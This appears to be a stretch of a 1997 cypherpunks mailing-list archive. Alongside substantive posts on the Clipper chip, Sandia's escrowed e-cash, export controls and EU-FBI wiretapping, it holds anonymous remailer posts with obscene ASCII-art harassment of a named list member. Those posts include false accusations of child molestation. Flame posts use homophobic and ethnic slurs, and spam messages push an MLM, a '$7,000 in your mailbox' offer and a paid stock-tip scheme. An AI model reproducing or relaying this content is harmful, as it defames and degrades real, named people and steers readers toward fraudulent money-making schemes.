(which I'm really not, though I'm a "professional" conspiratologist), > or because I otherwise disagree with them. Well, paranoid people may be more right than "normal" people, so I do not see the word paranoid as an insult. > I looked at one archive the other day, and it contained 850+ messages > by me posted to cypherpunks between approximately 1 Sep 96 and late > Jan 97. I think you'll find them very consistent, and although I > could be accused of harboring my own arrogance in some areas, I can > handle any criticism you put forth, since you (for example) don't > slander me gratuitously or viciously. Mmm, maybe, but I remember saying negative things about some of your ideas, which I still think were not wrong. > Several months ago, I made a post where I said that approx. 95% of > people stay within the confines of their parents' religion for life, > meaning that while they may change denominations, or split different > hairs on various dogmas, they still remain Catholic if their parents > were Catholic, etc. One of the list "leaders" chose to say I didn't > know what I was talking about, even though I very well did know what > I was talking about (and I told him so), so he replied that he didn't > want me putting his email address in any of my posts (i.e., don't > hit the reply-to-all button unless I manually delete his name), and > has steadfastly ignored me ever since. I don't mind being ignored, > in fact, it gives me time to do better things than argue with persons > who don't really listen, but what pisses me off is this bully-like > arrogance on the part of some of the clique who would really like to > get rid of people like me, but can't recommend it since it would > damage their already fragile reputation. This is OK, Dale, if some readers follow the bullies with reputations instead of doing their own thinking, they are not worthy of your worries. - Igor. From jjc at infi.net Thu Feb 27 21:23:25 1997 From: jjc at infi.net (Jim Conrad) Date: Thu, 27 Feb 1997 21:23:25 -0800 (PST) Subject: STU-III Usage Message-ID: <2.2.16.19970228002350.0e174086@mailhost.infi.net> Bill Stewart wrote: >Back when the STU-III was still called the "Future Secure Voice System" >the DoD was telling manufacturers they'd probably sell 500,000 of them, >between the DoD unclassified work, law enforcement users, defense >contractors, and similar riff-raff. I don't know how many were actually >sold, but I'd be surprised if it's a tenth of that; the government >was too cheap to spend $2-3K per box for that many users. I'm ex-Navy and worked as a contractor for the last 5 years since I got out. >From my operational experience and exposure to certain area's I would have to say that 500,000 might be more accurate than you suspect. They are used at most Navy facilities as the "standard" desk phone when the command requires operational security telecommunications access. Personnel Offices etc., probably don't have but one or two per facility but sites requiring them have them everywhere. Likewise most contractor facilities that require secure telecommunications have them available as well. ..Jim <:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:> <:> Jim Conrad - Ocean View Communications - jjc at infi.net <:> <:> 757-490-8127 Office - 757-587-8251 Fax - 757-473-6740 Pager <:> <:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:> From KALLISTE at delphi.com Thu Feb 27 22:27:45 1997 From: KALLISTE at delphi.com (KALLISTE at delphi.com) Date: Thu, 27 Feb 1997 22:27:45 -0800 (PST) Subject: Clipper Chip Banking Message-ID: <01IFXJQE7DR69AU48I@delphi.com> Clipper Chip Banking by J. Orlin Grabbe Sandia National Laboratories have created the digital cash equivalent of the Clipper chip: an "anonymous" digital cash system that would give participants privacy from all viewers, except for the government agencies that would control the secret keys required for backdoor access. Just as the "Clipper" proposal (the Escrowed Encryption Standard) is a system of encrypted communication with a Big Brother peephole, so is Sandia e- cash a system of digital cash with a Big Brother peephole. It was designed that way. Why is Sandia interested in digital cash systems? Well, Sandia is responsible for all non-nuclear components of nuclear weapons. The security of nuclear weapons depends partly on cryptology. The code- breaking National Security Agency (NSA), for example, is responsible for the communication security of the Minuteman missile, as well as the codes by which the President must identify himself to authorize a nuclear strike. The use of nuclear weapons is normally based on a trustee system: two or more people are necessary to give the complete authorization code. The NSA used this idea as the basis for the Clipper chip: two designated trustee agents would each have knowledge of one-half the chip-specific unique key by which to decode the session key that encoded a particular communication passing through the chip. The Clipper chip was originally proposed for incorporation into every digital communication device: computer, fax, and cable TV. The sales aspect of Clipper was a new encryption algorithm based on 80- bit encryption keys. Financial and other institutions had begun to worry about the security of the Data Encryption Standard (DES) which uses 56- bit keys. An 80-bit key space would be 2^24 times as large as the DES key space. The catch was that acceptance of the new algorithm would involve acceptance of the NSA backdoor. At the present time, the financial industry has said, "No, thank you," and is focusing on triple-DES, which has the security equivalent of 112-bit encryption keys, and no backdoor. Sandia e-cash is a simple extension of the trustee notion. Sandia e-cash was announced as "the first electronic cash system that incorporates trustee-based tracing, while provably protecting user anonymity". The trustees in this case are key-escrow agents, and a minimal subset of them (say three out of five) would be able to combine their knowledge to trace an individual's electronic transactions. The fact that several agents would need to act in concert "protects users from the possibility that one or two trustees might be corrupt". (In other words, depending on the level of official corruption, the system would either be somewhat secure, or totally insecure.) Anonymity or privacy in financial transactions generally means an inability to determine an individual's spending patterns. Anonymity requires first and foremost protection from the prying eyes of the bank. If the bank knows what is going on in your account, then potentially so can anyone else: the records can be seized, or surreptitiously accessed by computer, or a bank employee can be bribed to make them available. (In this respect, it is useful to note that the system of Swiss numbered accounts was created to protect bank customers from bank employees. Bank employees, observing what occurred in a customer's account, could possibly subject the customer to blackmail.) Anonymity involves several aspects, including "unlinkability" and "untraceability". "Unlinkability" refers to the inability of a bank (even colluding with merchants) to determine that two payments were made by the same user. To understand this, consider the opposite case: your monthly American Express or credit card bill. Such a statement contains a set of transactions which are all linked by a common element--your AMEX or credit card account number. Because these payments are linked, they present a limited picture (a subset) of your behavior, movements, and habit patterns. Your private behavior is potentially public information. Unlinkability is therefore an aspect of anonymity. Because linkability in anonymous digital cash involves cryptological protocols, it is actually a probability concept: how probable is it that two payments can be accurately identified as having been made by the same user? Unlinkability means such probability is negligible. "Untraceability" refers to the inability of a bank to match withdrawals of digital cash with subsequent payments. To have untraceability, the information a person reveals about himself by making payments must be statistically independent of the information a person reveals about himself by making withdrawals. Of course if the bank, even when colluding with merchants, can't link or trace a person's transactions--even in probability terms- -then neither can FINCEN or the NSA. Anonymity and privacy thus ultimately hinges on concealing this type of information from the bank itself. But such anonymity, naturally, raises the issue of the selectively- enforced money-laundering laws. The prevention of money-laundering is stated as a principal raison d'�tre for Sandia's e-cash system of non-anonymous "anonymity": "Money laundering . . . is hampered by physical cash and would be made easier by a completely anonymous electronic counterpart. . . . With anonymous e-cash, money- laundering would be as simple as depositing one set of electronic "coins" in an account under an assumed name and withdrawing another set from the same account." (Peter S. Gemmel, "Traceable e-cash," Technology and the Electronic Economy, IEEE Spectrum, February 1997.) To prevent such nefarious activity, Sandia even envisions one future world in which individuals would be required to submit regular reports of their financial transactions to the government: "In a different trustee-based e-cash system, the users' "wallet" software would require them to supply the authorities from time to time with transaction records stored in their electronic wallets and encrypted with their tracing keys." (Ibid.) This proposal is somewhat similar to a requirement to regularly send one's bank statements to the IRS for filing, with a committee controlling access to the file cabinet. While Sandia ponders the future needs of Big Brother government, over at the Treasury, meanwhile, Robert Rubin has appointed the Comptroller of the Currency, Eugene Ludwig, as the point man to oversee government efforts to keep a peephole into every bank account. To this end, Ludwig--when he is not attending Clinton coffee- klatsches--coordinates the electronic cash spying plans of FINCEN, U.S. Customs, the IRS, the Secret Service, ATF, and the Office of Foreign Assets Control. February 27, 1997 Web Page: http://www.aci.net/kalliste/ From jimbell at pacifier.com Thu Feb 27 22:49:41 1997 From: jimbell at pacifier.com (jim bell) Date: Thu, 27 Feb 1997 22:49:41 -0800 (PST) Subject: DNSSEC Encryption for DNS registration and ITAR Nonsense Message-ID: <199702280648.WAA23851@mail.pacifier.com> At 08:30 PM 2/27/97 -0800, Bill Stewart wrote: >At 10:14 AM 2/12/97 -0500, "Donald E. Eastlake 3rd" wrote: >But then there's the politial correctness part of the web page :-) >> Trusted Information Systems, Inc. has received approval from the >> United States Government for export and reexport of TIS/DNSSEC software >> from the United States of America under the provisions of the Export >> Administration Regulations (EAR) General Software Note (GSN) license >> exception for mass market software. Under the provisions of this license, >> this software may be exported or reexported to all destinations except >> for the embargoed countries of Cuba, Iran, Iraq, Libya, North Korea, >> Sudan and Syria. Any export or reexport of TIS/DNSSEC software to the >embargoed >> countries requires additional, specific licensing approval from the >> United States Government. > >Yup. Can't let those Cubans secure their DNS..... At least the government >did decide to permit export. When Clipper was a new proposal, a reporter stated that Clipper-equipped telephones were going to be exportable...to anywhere except terrorist-supporting countries like Libya and Iraq. My first reaction was, if those chips had their keys escrowed within reach of the US government, WHAT DID IT MATTER that the phones get exported to Libya?!? In fact, they'd presumably want to airdrop them there, right? Jim Bell jimbell at pacifier.com From homebc at homebc.com Thu Feb 27 23:29:23 1997 From: homebc at homebc.com (JGarrett) Date: Thu, 27 Feb 1997 23:29:23 -0800 (PST) Subject: New Breakthrough! Message-ID: <1.5.4.32.19970228073003.007553a4@homebc.com> FOUR GIANTS MERGE TO CREATE NEW SUPER MLM Four established companies (one of which is a multi-million dollar INTERNATIONAL company) come together to create new and dynamic MLM with unique Unilevel/Binary Pay Plan which features the benefits of both--the quick income possibility with a binary and the residual of a unilevel. . The combined annual revenue of these four companies will stagger your imagination. Pre-Registration for top position has just started. This program offers the opportunity of a lifetime. We currently need individuals who are proven leaders. If you have a proven ability to lead people then this opportunity maybe for you. Contact me immediately for consideration. We already have over 400 members pre-registered in one leg and are now just beginning to work on the other (we currently have 2 in our second leg with only two legs to work on). No money is required to RESERVE your distributor position. You may change your mind with NO OBLIGATION once you have all the facts as to the new program. Have your downline reserve their positions now. We guarantee we will honor your sponsorship of anyone that you have reserved their position. I am working directly with the front-line to the company! Products include Electronic, Health and Beauty, Nutrition, Hi-tech devices, Automotive, Telecommunications and More. Residual Income assured with world class leadership and cutting edge products. Reply now for full details. ----------------------------------------------- Garrett Management Intl. 801-375-5541 homebc at homebc.com From vin at shore.net Fri Feb 28 00:29:02 1997 From: vin at shore.net (Vin McLellan) Date: Fri, 28 Feb 1997 00:29:02 -0800 (PST) Subject: 128_bit In-Reply-To: <1.5.4.32.19970227205712.006fbe08@pop.pipeline.com> Message-ID: >2-26-97. Newsbytes: > >Security Dynamics Unveils RSA SecurPC 2.0 > > Wokingham, England, By Steve Gold. Security Dynamics has unveiled > RSA SecurPC 2.0, the latest version of its software-based > encryption software. The package is claimed to the first 128-bit > encryption software to be exported from the US and its territories. No such luck. This is a press report that seems a little confused... which is say that it is, at least, a bit premature. SecurPC has a useful feature which allows for a self-decrypting file to be created with its 128-bit (symmetric) RC4 cipher. RSADSI got the NSA to agree that this self-decrypting file could be transmitted outside the US because the packaged implementation is restricted to merely decrypting the file -- with a key (password) to be passed out of band: by hand, letter, phone, etc. (The free trial version of SecurPC, which can be downloaded from the RSADSI and SDTI websites, is enabled with only the limited key-length RC4 encryption -- still the only type of crypto now allowed to be freely exported outside the US. The domestic product, as sold, offers full128-bit RC4.) The major enhancement in the 2.0 version of SecurPC, as I recall, is that it offers transparent, on the fly, decryption of a secured file, as you open the relevant application on your PC. Suerte, _Vin Vin McLellan + The Privacy Guild + 53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548 From toto at sk.sympatico.ca Fri Feb 28 00:33:27 1997 From: toto at sk.sympatico.ca (Toto) Date: Fri, 28 Feb 1997 00:33:27 -0800 (PST) Subject: Clipper Chip Banking In-Reply-To: <01IFXJQE7DR69AU48I@delphi.com> Message-ID: <3316B0E6.3AE9@sk.sympatico.ca> KALLISTE at delphi.com wrote: > Just as the "Clipper" proposal > (the Escrowed Encryption Standard) is a > system of encrypted communication with > a Big Brother peephole, so is Sandia e- > cash a system of digital cash with a > Big Brother peephole. It was designed > that way. > Why is Sandia interested in > digital cash systems? Well, Sandia is > responsible for all non-nuclear > components of nuclear weapons. The > security of nuclear weapons depends > partly on cryptology. The code- > breaking National Security Agency > (NSA), for example, is responsible for > the communication security of the > Minuteman missile, as well as the codes > by which the President must identify > himself to authorize a nuclear strike. The main benefit of the proposed Sadia system is that it will allow the President to do his banking while nuking the commies. Sound reasonable to me. -- Toto ----------------------------- "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From dcgroup at erols.com Fri Feb 28 00:42:46 1997 From: dcgroup at erols.com (dcgroup at erols.com) Date: Fri, 28 Feb 1997 00:42:46 -0800 (PST) Subject: WELL WORTH READING Message-ID: <199702280834.DAA15402@Ocean.CAM.ORG> I hope this e-mail finds you well. No need to hit the reply buttom if you want to be deleted from my mailing list as this program you are about to review is one you will only receive once and need to reply to stay on it. Needless to say we have a lot of confidence in this program. Good luck if you decide not to order this program. Pre- paration will meet opportunity (which will equal success) if you make the right choice. If you still feel the need to ask to be removed go ahead. I will oblige your request. ***** THE PROGRAM FEBRUARY 27, 1997 ***** Do you want to start a business that doesn't have the hassles of inventory, accounts receivable, accounts payable, or depreciating equipment. This program does it. This is accomplished by starting an investing business. No mlm here. No hidden tricks. Have you ever wondered what the most successful investors in the world know that you don't? Their "secrets" allow them to turn a small amount of money into a large amount CONSISTENTLY. One of their secrets has returned them over 100% on average per year, year in, year out for over 10 years. if you are willing to part with $32.95 (this in- cludes $3 shipping and handling) we are willing to part not only with this secret but with the following 3 reports, each of which is well worth the price of admission: 1) A second secret that has returned over 100% year in, year out for these in- vestors. When combined with the first secret you get over 300% year in, year out for the investors. $1,000 can be turned into $1,000,000 in 5 years. if you have 5 years but not the $1,000 see the second part of this e-mail. 2) 4 stocks that will double this year. Actually three, the best one is featured in part two of this e-mail. 3) 4 "events" which could cause the market to crash in 1997. ***** PART TWO ***** So you have five years but not $1,000. To show you we know how to make money we will "give" you a stock that we feel is ready to "pop". The company does not know we are doing this. This is a freebie so don't forget to send us a thank you note. KENSINGTON RESOURCES KNSRF on the nasdaq exchange - current price, about $1.00 a share KRT on the vancouver exchange - current price, $1.30 a share Kensington Resources' homepage - http://www.kensington-resources.com/ Kensington's Silicon Investor site (a "chat room" about kensington)- http://www3.techstocks.com/investor/subject-3653 Kensington target prices: $3.50 U.S. by 4/15, $7 by 12/31 KNSRF is part of a four company joint venture (a debeers subsidiary is one of the other companies) that has 71 kimberlite (the host material for diamonds) pipes. 57 have been shown to be diamondniferous. About 34 of these pipes are macrodiamond (the larger diamonds) meaning KNSRF's jv has close to 20% of the world's known macrodiamond bearing pipes. The pipes contain 6 billion tonnes of kimberlite. With this much going for it, KNSRF we feel has an explosive upside that will be realized partially in 1997. We believe KNSRF can reach $7 or more a share U.S. by 12/31/97. Do your own due diligence and we think you'll agree. PLEASE KEEP IN MIND WE ARE NOT INVESTMENT ANALYSTS. THIS IS NOT A SOLICITATION NOR A RECOMMENDATION TO BUY ANY STOCKS. DO YOUR OWN DUE DILIGENCE. THE ONLY RECOMMENDATION WE MAKE IS THE PURCHASE OF OUR PROGRAM. BELOW IS THE INFORMATION YOU NEED TO ORDER IT. PAST PERFORMANCE IS JUST THAT, PAST PERFORMANCE. FUTURE PERFORMANCE IS YET TO BE DETERMINED. WE FEEL WE KNOW HOW TO MAKE MONEY BUT WE WILL NEVER FEEL WE KNOW HOW TO PREDICT THE FUTURE. Instructions to order. Send a check or money order (payable to The DC Group) for $32.95 to: The DC Group Suite 331 1127 High Ridge Road Stamford, CT 06905 PLEASE INCLUDE YOUR E-MAIL ADDRESS AND YOUR MAILING ADDRESS WITH YOUR PAYMENT. From kflt at flr.org Fri Feb 28 05:41:46 1997 From: kflt at flr.org (KFLT) Date: Fri, 28 Feb 1997 05:41:46 -0800 (PST) Subject: $7,000 in your mailbox!!! Message-ID: <19970228133140900.AAA151@172-59-127.ipt.aol.com> Hello, Our research has shown that this may be of interest to you. If not please accept our apology. By not replying you will be removed from any future mailings. This messege will only be sent to you once. Thank You =============================================== Would you spend $5 in order to receive $7000 in return? Email DavFic at aol.com for FREE Information NOW!!! From nobody at REPLAY.COM Fri Feb 28 05:59:58 1997 From: nobody at REPLAY.COM (Anonymous) Date: Fri, 28 Feb 1997 05:59:58 -0800 (PST) Subject: Sphere packings Message-ID: <199702281359.OAA02415@basement.replay.com> Tim C[ocksucker] May's 16Kb brain's single convolution is directly wired to his rectum for input and his T1 mouth for output. That's 16K bits, not bytes. Anal intercourse has caused extensive brain damage. __ ___|[]| Tim C[ocksucker] May \__|______| /-(o_o_o_o) From camcc at abraxis.com Fri Feb 28 06:16:43 1997 From: camcc at abraxis.com (Alec) Date: Fri, 28 Feb 1997 06:16:43 -0800 (PST) Subject: Moderation/censorship In-Reply-To: <33153E98.3DCD@gte.net> Message-ID: <3.0.1.32.19970228091602.007c54e0@smtp1.abraxis.com> -----BEGIN PGP SIGNED MESSAGE----- At 11:08 PM 2/27/97 -0600, Igor Chudov @ home quoted: :Dale Thorn who had written: [snip] : :> I looked at one archive the other day, and it contained 850+ messages :> by me posted to cypherpunks between approximately 1 Sep 96 and late :> Jan 97. I think you'll find them very consistent, and although I :> could be accused of harboring my own arrogance in some areas, I can :> handle any criticism you put forth, since you (for example) don't :> slander me gratuitously or viciously. [snip] : Dale, Nor do I, but I ask you if the above number of posts is not extreme. I have to question the "quality" of 850 posts by _any_ list member in 5 months (by your count). By any measure that's a lot of Dale, or anybody, to muck through. Just a comment to clear the airwaves a bit. Alec -----BEGIN PGP SIGNATURE----- Version: 4.5 iQCVAgUBMxbomSKJGkNBIH7lAQF6KgQAuCjwmDFxFhtsjTlVDikUYPkS6JUYRQiB HyH95SAx75puq9nndAdB4tV8ugWkLYpy0pIzN0XNvBw7lXDvLIjguqlaIznHQAp4 z7zXAG2Cl8ux6mco3ioV05qbjYZAbuIDH3fnDZEHEdcepwNci8X+Pn+8WwLzk5Oa /WfpFeWPe6c= =pKLX -----END PGP SIGNATURE----- From dee at cybercash.com Fri Feb 28 07:35:49 1997 From: dee at cybercash.com (Donald E. Eastlake 3rd) Date: Fri, 28 Feb 1997 07:35:49 -0800 (PST) Subject: DNSSEC Encryption for DNS registration and ITAR Nonsense In-Reply-To: <3.0.1.32.19970227203009.00629a08@popd.ix.netcom.com> Message-ID: Well, as I understand it, the problem with the seven bad countries is that US law generally prohibits any trading with them at all. You can't sell them cryptographic software but you also can't sell them a peanut butter and jelly sandwitch or a rubber band or anything. The restrictions against them are based on international policy, not the nature of the articles you want to trade. Donald On Thu, 27 Feb 1997, Bill Stewart wrote: > Date: Thu, 27 Feb 1997 20:30:09 -0800 > From: Bill Stewart > To: cypherpunks at toad.com > > At 10:14 AM 2/12/97 -0500, "Donald E. Eastlake 3rd" wrote: > >People may want to note that yesterday (Feb 11th) the IESG approved the DNS > >dynamic update and DNS secure dynamic update (draft-ietf-dnssec-update-04.txt > >and draft-ietf-dnsind-dynDNS-11.txt) as Proposed Standards. The base DNS > >security protocol was approved some time ago and is now out as RFC 2065. > > Details are on http://www.tis.com/docs/research/network/dns.html > It's a very interesting page - pointers to the RFC > http://ds.internic.net/rfc/rfc2065.txt , > and downloadable beta code from TIS implementing it. Cool stuff. > > But then there's the politial correctness part of the web page :-) > > Trusted Information Systems, Inc. has received approval from the > > United States Government for export and reexport of TIS/DNSSEC software > > from the United States of America under the provisions of the Export > > Administration Regulations (EAR) General Software Note (GSN) license > > exception for mass market software. Under the provisions of this license, > > this software may be exported or reexported to all destinations except > > for the embargoed countries of Cuba, Iran, Iraq, Libya, North Korea, > > Sudan and Syria. Any export or reexport of TIS/DNSSEC software to the > embargoed > > countries requires additional, specific licensing approval from the > > United States Government. > > Yup. Can't let those Cubans secure their DNS..... At least the government > did decide to permit export. > > > > > # Thanks; Bill > # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com > # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp > # (If this is a mailing list, please Cc: me on replies. Thanks.) > > ===================================================================== Donald E. Eastlake 3rd +1 508-287-4877(tel) dee at cybercash.com 318 Acton Street +1 508-371-7148(fax) dee at world.std.com Carlisle, MA 01741 USA +1 703-620-4200(main office, Reston, VA) http://www.cybercash.com http://www.eff.org/blueribbon.html From dlv at bwalk.dm.com Fri Feb 28 07:39:21 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Fri, 28 Feb 1997 07:39:21 -0800 (PST) Subject: Senate spams In-Reply-To: <199702200850.IAA00713@server.test.net> Message-ID: Adam Back writes: > Personally I think you're allowing the bad feeling generated by the > [CENSORED] PR goofup over Dimitri's false criticisms to cloud your > usually good judgement. Adam, before labeling my criticisms "false", have you examined the source code of the product in quesion to see if it's secure? So far, the people caught making false statements are Sameer Parekh (spit) and his lackeys Greg Broils (spit) and Sandy Sandfart (spit). --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Fri Feb 28 07:40:40 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Fri, 28 Feb 1997 07:40:40 -0800 (PST) Subject: Clipper Chip Banking In-Reply-To: <3316B0E6.3AE9@sk.sympatico.ca> Message-ID: Toto writes: > KALLISTE at delphi.com wrote: > > > Just as the "Clipper" proposal > > (the Escrowed Encryption Standard) is a > > system of encrypted communication with > > a Big Brother peephole, so is Sandia e- > > cash a system of digital cash with a > > Big Brother peephole. It was designed > > that way. > > Why is Sandia interested in > > digital cash systems? Well, Sandia is > > responsible for all non-nuclear > > components of nuclear weapons. The > > security of nuclear weapons depends > > partly on cryptology. The code- > > breaking National Security Agency > > (NSA), for example, is responsible for > > the communication security of the > > Minuteman missile, as well as the codes > > by which the President must identify > > himself to authorize a nuclear strike. > > The main benefit of the proposed Sadia system is that it will > allow the President to do his banking while nuking the commies. > Sound reasonable to me. They do a lot of crypto at Sandia, and digital cash is an important application of crypto. This reminds me how about 10 years ago I and one guy from Sandia labs wrote a very nice app for converting HP soft fonts into TeX fonts. We posted it all over the Internet with source code (the only way I distribute my apps). Well, a few months later I discovered that some dandruff-covered sovok has been uploaing our app with our source code, our comments, and the only change he made was to replace our names by his filthy sovok name. (No, it wasn't Sameer Parekh - Sameer is just as unethical, but he's an "Arab terrorist from connecticut", not a sovok.) --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From mixmaster at remail.obscura.com Fri Feb 28 11:38:00 1997 From: mixmaster at remail.obscura.com (Mix) Date: Fri, 28 Feb 1997 11:38:00 -0800 (PST) Subject: No Subject Message-ID: <199702281822.KAA21078@sirius.infonex.com> Timothy May has been beaten up numerous times by fellow prostitutes for driving blow job prices down. ,,, (. .) -ooO-(_)-Ooo- Timothy May From mixmaster at remail.obscura.com Fri Feb 28 11:39:13 1997 From: mixmaster at remail.obscura.com (Mix) Date: Fri, 28 Feb 1997 11:39:13 -0800 (PST) Subject: No Subject Message-ID: <199702281855.KAA02278@sirius.infonex.com> Tim C[ocksucker] May sexually molests little children, farm animals, and inanimate objects. ___ \/ \/ |_O O_| Tim C[ocksucker] May | ^ | / UUU \ From mixmaster at remail.obscura.com Fri Feb 28 11:43:58 1997 From: mixmaster at remail.obscura.com (Mix) Date: Fri, 28 Feb 1997 11:43:58 -0800 (PST) Subject: No Subject Message-ID: <199702281843.KAA28707@sirius.infonex.com> Timmy C[rook] May's mother attempted to pro-choice the unwanted little bastard by fishing with a coat hanger in her giant cunt, but failed miserably to pull the rabbit and succeeded only in scraping out the contents of little Timmy's fetal cranium (not much to begin with). o/ Timmy C[rook] May <| / > From mixmaster at remail.obscura.com Fri Feb 28 12:12:27 1997 From: mixmaster at remail.obscura.com (Mix) Date: Fri, 28 Feb 1997 12:12:27 -0800 (PST) Subject: No Subject Message-ID: <199702281937.LAA08680@sirius.infonex.com> Timmy Maya's reheated, refurbished, and regurgitated cud is completely inappropriate for the mailing lists into which it is cross-ruminated. \\\ {OQ} (_) From jya at pipeline.com Fri Feb 28 12:13:19 1997 From: jya at pipeline.com (John Young) Date: Fri, 28 Feb 1997 12:13:19 -0800 (PST) Subject: Guardian on EU-FBI Wiretap Pact Message-ID: <1.5.4.32.19970228200633.00719d10@pop.pipeline.com> Thanks to CM. The Guardian Weekly, Volume 156, Issue 9 Week ending March 2, 1997, Page 4: UK to join FBI phone taps Richard Norton-Taylor and Alison Daniels BRITAIN has secretly agreed with its European Union partners to set up an international telecommunications tapping system in co-operation with the FBI, it was revealed on Monday. The agreement covers telephones and written communications -- telexes, faxes and e-mail. To make tapping easier, telecommunications companies will be obliged to give security and intelligence agencies the key to codes installed in equipment sold to private customers. Detailed plans are being drawn up by officials in a secret network of EU committees established under the "third pillar" of the Maastricht Treaty, covering co-operation on law and order issues. Civil liberties groups, while agreeing that there was a need for such an agreement to fight against serious crime, said the plans raised a number of privacy and data protection issues and must be the subject of a full public debate. Britain is an enthusiastic supporter of joint action in this area, which is conducted on an inter-governmental basis with no role for the European Commission, the European Parliament or the European Court of Justice. It is an area where the EU's "democratic deficit" is most evident. Key points of the plan are outlined in a memorandum of understanding signed by EU states in 1995, which is still classified. It reflects increasing concern among European intelligence agencies that modern technology will prevent them from tapping private communications. EU governments agreed to co-operate closely with the FBI in Washington as they work out detailed plans. ----- As posted yesterday, for a report on EU-FBI wiretapping: http://www.privacy.org/pi/activities/tapping/ From toto at sk.sympatico.ca Fri Feb 28 13:26:53 1997 From: toto at sk.sympatico.ca (Toto) Date: Fri, 28 Feb 1997 13:26:53 -0800 (PST) Subject: Senate spams In-Reply-To: <199702280726.BAA01160@smoke.suba.com> Message-ID: <331769F0.1575@sk.sympatico.ca> Greg Broiles wrote: > > > Greg doesn't seem to realize that, without a fellow C2Nut schill to > >censor the unlobotomotized, his horseshit will no longer go > >unchallenged. > > Your predictable whining about C2Net and suggestions that everyone > who disagrees with you is either working for a government and/or out to get > you hardly qualify as challenges - they seem to rather be on the level of > Vulis's ascii art, although the rate at which you produce them makes me > suspect you're still generating them by hand. How long are you and your bum-buddies at C2Nut going to continue to try to denigrate god-and-everybody by making out-of-context links to Dr. Vulis? Is Senator McCarthy alive and well at C2Nut? Whining? Suggestions? I'm 'flaming' shit-for-brains, and I'm working from the fact sheets. Fact: Sammy's pecker-tracks are all over the attempted takeover of the CypherPunks list. Fact: John Gilmore turned over control of the CypherPunks list at toad.com to C2Nut employee Sandy Sandfort, under the pretext of cutting down on mailbomb attacks. Fact: List subscribers were forcibly relocated to a list Censored by C2Nut employee Sandy Sandfort. Fact: C2Nut employee Sandy Sandfort then proceeded to Censor the posts to the CypherPunks list in an attempt to blunt criticism of the takeover of the list. Fact: C2Nut employee Sandy Sandfort announced that his Censorship of the CypherPunks list was not based on cryptographical content. Fact: Sandy Sandfort approved posts to the Censored list that insulted those who criticized him, while deleting the posts of those who responded to those insults. Fact: C2Nut employee Sandy Sandfort deleted incoming CypherPunks posts directly, sending them to none of the lists, if they reflected poorly on his employer, fellow employees, and his supporters. Fact: Under C2Nut employee Sandy Sandfort's list dictatorship, many of the so-called 'Evil Dr. Vulis ASCII' spams originated directly from toad.com, with forged headers. Others originated from the ISP's of C2Net employees. Fact: C2Nut's Sameer controls cypherpunks.com on the WWW. Fact: C2Nut stands to profit from having control of the CypherPunks name. Fact: C2Nut's employees were, and are, working in conjunction with others who have major financial interests that will benefit from control of the CypherPunks reputation capital. Fact: C2Nut and their employees apply threats of legal attack, both directly and indirectly, to those whose words conflict with the goals of C2Nut and their web of associated interests. Fact: If C2Nut wants the hidden agendas of themselves and their associates to remain hidden, then they need better firewalls in place. > "Challenge", my butt. Better have some more Scotch. Better to have Scotch in my mouth than my employer's sperm. And I doubt whether your butt is much of a challenge. > -- > Greg Broiles | US crypto export control policy in a nutshell: > gbroiles at netbox.com | > http://www.io.com/~gbroiles | Export jobs, not crypto. > | -- Toto ----------------------------- "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From aba at dcs.ex.ac.uk Fri Feb 28 13:50:19 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Fri, 28 Feb 1997 13:50:19 -0800 (PST) Subject: Senate spams In-Reply-To: Message-ID: <199702282027.UAA00326@server.test.net> Dimitri Vulis writes: > Adam Back writes: > > Personally I think you're allowing the bad feeling generated by the > > [CENSORED] PR goofup over Dimitri's false criticisms to cloud your > > usually good judgement. > > Adam, before labeling my criticisms "false", have you examined the > source code of the product in quesion to see if it's secure? Well I have looked at SSLeay, and Ben Laurie's apache-SSL module which is what StrongHold is based on, but not in any great detail, so I shouldn't comment one way or another. If you are suggesting there is a flaw, perhaps you could give some hints on what the alleged flaw is, so that I could stand a chance of refuting or confirming your claim, and so that if there is a flaw, it can be fixed? I, and I think many others, took your claim to be a PSYOP attempt to cause a dilemma for Sandy. If you really did find a flaw, well, lets here it. C2Net would owe you an apology. Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 The US Senate Select Committee on Intelligence has published a special report on its activities from January 4, 1995 to October 3, 1996, which shows an unsuprising parallel to Cypherpunks topics -- even a bit on crypto. We've put it at: http://jya.com/sr105-1.htm (135K) Here's the TOC: I. Introduction II. Legislation Intelligence Budget S. 922 Intelligence Authorization Act for Fiscal Year 1996 S. 1718 Intelligence Authorization Act for Fiscal Year 1997 Intelligence Renewal and Reform Act of 1996 The National Imagery and Mapping Agency III. Arms Control Chemical Weapons Convention START II Treaty IV. Counterintelligence The Aldrich Ames Espionage Case French Flap Economic Espionage Foreign Intelligence Surveillance Act V. Counterterrorism Terrorism Threat Overview Khubar Towers and OPM-SANG Bombings VI. Counterproliferation Non-Proliferation North Korean Weapons of Mass Destruction Programs Long-Range Missile Threat VII. Oversight Activities National Security Threats to the United States Intelligence Support to U.S. Efforts in Bosnia Inquiry into U.S. Actions Regarding Iranian and Other Arms Transfers to the Bosnian Army Congressional Notification of Foreign Policy Decisions Persian Gulf Syndrome Zona Rosa Vietnamese Commandos CIA/Contra/Cocaine Link CIA Use of Journalists, Clergy, and Peace Corps Volunteers in Intelligence Operations Guatemala Intelligence Support to Law Enforcement Congressional Notifications of Intelligence Activities Airborne Reconnaissance National Reconnaissance Office Carry Forward Small Satellites Covert Action Encryption Export Policy Security of the U.S. Information Infrastructure Jane Doe Thompson Case Oversight of the Intelligence Community Inspectors General Organized Crime in the Former Soviet Union Program Review and Audit Staff VIII.Foreign Intelligence North Korea Iraq 